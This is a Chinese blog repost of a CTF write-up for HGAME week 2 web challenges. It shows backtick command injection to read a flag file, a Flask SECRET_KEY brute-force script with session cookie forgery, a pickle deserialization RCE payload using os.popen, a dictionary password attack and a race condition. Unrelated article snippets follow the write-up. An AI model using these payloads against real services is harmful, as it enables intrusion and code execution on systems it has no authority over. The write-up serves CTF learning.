HGAME week2 web

news2024/9/22 5:23:11

1.What the cow say?

测试发现可以反引号命令执行

`ls /f*`

`tac /f*/f*`

2.myflask

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

先是/flag路由,需要爆破SECRET_KEY,然后修改 session['username'] = 'admin'

SECRET_KEY由当前时间戳生成,先看一下当前时间戳,便于缩小爆破范围

130053

可以用120000到130000范围爆破

爆破用到flask-unsign包

pip install flask_unsign

bp抓包到当前cookie为eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdbS5g.lYsm6XdgCg5ieiwMujnnM_sNMxs

爆破脚本

import itertools
import flask_unsign
import requests as r
import time

def generate_wordlist():
    # permutations with repetition
    for x in itertools.product('0123456789', repeat=4):
        yield '12' + "".join(x)
path = "wordlist.txt"
print("Generating wordlist... ")
with open(path, "w") as f:
    for word in generate_wordlist():
        f.write(word + "\n")
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdbS5g.lYsm6XdgCg5ieiwMujnnM_sNMxs'
obj = flask_unsign.Cracker(value=cookie_tamper)
obj.crack(generate_wordlist())
secret = ""
if obj.secret:
    secret = obj.secret 
    print(f"SECRET_KEY :{secret} ")

爆破出来SECRET_KEY是125121

然后伪造一下cookie,先看一下之前session什么格式

就是{'username': 'guest'}

改成{'username': 'admin'}

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZdbgCQ.krF0aOgj2IOu0hsbvSqoXBtOTlk

成功伪造成admin

第二步是pickle反序列化RCE

脚本

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

3.Select More Courses

显示用字典爆破密码登录

密码是qwert123

扩展学分才能选课

点击扩学分提示和时间竞速,那么不断同时发两个包,一个扩学分,一个选课

会发现选课成功拿到flag

还有两题不会

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1464471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在word中将latex格式的公式转化为带有编号的mathtype公式

在word中将latex格式的公式转化为带有编号的mathtype公式 1.先在word里面配置好mathtype2.在word中设置mathtype的格式3.先将latex格式的公式转化为mathml格式4.读到这里,是不是觉得这个方法麻烦 1.先在word里面配置好mathtype 注意:1.word的版本应该是 …

关于运行flutter app 运行到模拟器出现异常提示

Exception: Gradle task assembleDebug failed with exit code 1 解决方案: 1.讲当前文件的distributionUrl值改为 https://mirrors.cloud.tencent.com/gradle/gradle-7.4-all.zip

Codeforces Round 928 (Div. 4)

目录 A. Vlad and the Best of Five B. Vlad and Shapes C. Vlad and a Sum of Sum of Digits D. Vlad and Division E. Vlad and an Odd Ordering F. Vlad and Avoiding X G. Vlad and Trouble at MIT A. Vlad and the Best of Five 我们可以使用string中的count函数来…

cmd命令开启windows桌面远程控制并设置防火墙允许远程

cmd命令开启桌面远程控制 1、开启之前: 2、使用管理员身份运行cmd 3、执行cmd命令 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\Terminal server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4、如果这台电脑的防火墙打开&#xff…

#LLM入门|Prompt#1.8_聊天机器人_Chatbot

聊天机器人设计 以会话形式进行交互,接受一系列消息作为输入,并返回模型生成的消息作为输出。原本设计用于简便多轮对话,但同样适用于单轮任务。 设计思路 个性化特性:通过定制模型的训练数据和参数,使机器人拥有特…

Redis中的AOF重写到底是怎么一回事

首先我们知道AOF和RDB都是Redis持久化的方法。RDB是Redis DB,一种二进制数据格式,这样就是相当于全量保存数据快照了。AOF则是保存命令,然后恢复的时候重放命令。 AOF随着时间推移,会越来越大,因为不断往里追加命令。…

WooCommerce商品采集与发布插件

如何采集商品或产品信息,并自动发布到Wordpress系统的WooCommerce商品? 推荐使用简数采集器,操作简单方便,且无缝衔接WooCommerce插件,快速完成商品的采集与发布。 简数采集器的智能自动生成采集规则和可视化操作功能…

Linux第62步_备份移植好的所有的文件和文件夹

1、备份“my-tfa”目录下所有的文件和文件夹 1)、打开终端 输入“ls回车”,列出当前目录下所有的文件和文件夹 输入“cd linux回车”,切换“linux”目录下 输入“ls回车”,列出当前目录下所有的文件和文件夹 输入“cd atk-mp1/回车”&am…

Nginx -2

接着上文写 5.4.7 验证模块 需要输入用户名和密码 模块名称:ngx_http_auth_basic_module 访问控制基于模块 ngx_http_auth_basic_module 实现,可以通过匹配客户端资源进行限制 语法: Syntax: auth_basic string | off; Default: auth_ba…

React 模态框的设计(二)

自定义组件是每个前端开发者必备的技能。我们在使用现有框架时难免有一些超乎框架以处的特别的需求,比如关于弹窗,每个应用都会用到,但是有时我们使用的框架中提供的弹窗功能也是功能有限,无法满足我们的应用需求,今天…

wondows10用Electron打包threejs的项目记录

背景 电脑是用的mac,安装了parallels desktop ,想用electron 想同时打包出 苹果版本和windows版本。因为是在虚拟机里安装,它常被我重装,所以记录一下打包的整个过程。另外就是node生态太活跃,几个依赖没记录具体版本&#xff0…

【开源】SpringBoot框架开发音乐平台

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示 四、核心代码4.1 查询单首音乐4.2 新增音乐4.3 新增音乐订单4.4 查询音乐订单4.5 新增音乐收藏 五、免责说明 一、摘要 1.1 项目介绍 基于微信小程序JAVAVueSpringBootMySQL的音乐平台,包含了音乐…

如何在java中使用 Excel 动态函数生成依赖列表

前言 在Excel 中,依赖列表或级联下拉列表表示两个或多个列表,其中一个列表的项根据另一个列表而变化。依赖列表通常用于Excel的业务报告,例如学术记分卡中的【班级-学生】列表、区域销售报告中的【区域-国家/地区】列表、人口仪表板中的【年…

Leetcoder Day17| 二叉树 part06

语言:Java/C 654.最大二叉树 给定一个不含重复元素的整数数组。一个以此数组构建的最大二叉树定义如下: 二叉树的根是数组中的最大元素。左子树是通过数组中最大值左边部分构造出的最大二叉树。右子树是通过数组中最大值右边部分构造出的最大二叉树。 …

petalinux_zynq7 驱动DAC以及ADC模块之六:qt显示adc波形

前文: petalinux_zynq7 C语言驱动DAC以及ADC模块之一:建立IPhttps://blog.csdn.net/qq_27158179/article/details/136234296petalinux_zynq7 C语言驱动DAC以及ADC模块之二:petalinuxhttps://blog.csdn.net/qq_27158179/article/details/1362…

C# .Net 发布后,把dll全部放在一个文件夹中,让软件目录更整洁

PublishFolderCleaner – Github 测试环境: .Net 8 Program.cs 代码 // https://github.com/dotnet-campus/dotnetcampus.DotNETBuildSDK/tree/master/PublishFolderCleanerusing System.Diagnostics; using System.Text;// 名称, 不用写 .exe var exeName "AbpDemo&…

.Net8.0 WebApi 发布到 IIS 详细步骤

.NET 8 是微软于2021年8月24日宣布的下一代编程语言和框架,它是 .NET 的一部分,与 C# (Common Language Infrastructure) 紧密集成。.NET 8 引入了许多新功能,如原生编译、值类型 (Value Types)、结构化并发 (structured concurrency) 和快速…

Window部署Exceptionless

Exceptionless Elasticsearch 版本: Exceptionless:8.1.0 Elasticsearch:7.17.5 JDK:11.0.10 目录 一、Elasticsearch运行 二、 Exceptionless 一、Elasticsearch运行 bin目录下elasticsearch.bat 直接运行 访问 http://lo…

【AIGC】基于深度学习的图像生成与增强技术

摘要: 本论文探讨基于深度学习的图像生成与增强技术在图像处理和计算机视觉领域的应用。我们综合分析了主流的深度学习模型,特别是生成对抗网络(GAN)和变分自编码器(VAE)等,并就它们在实际应用中…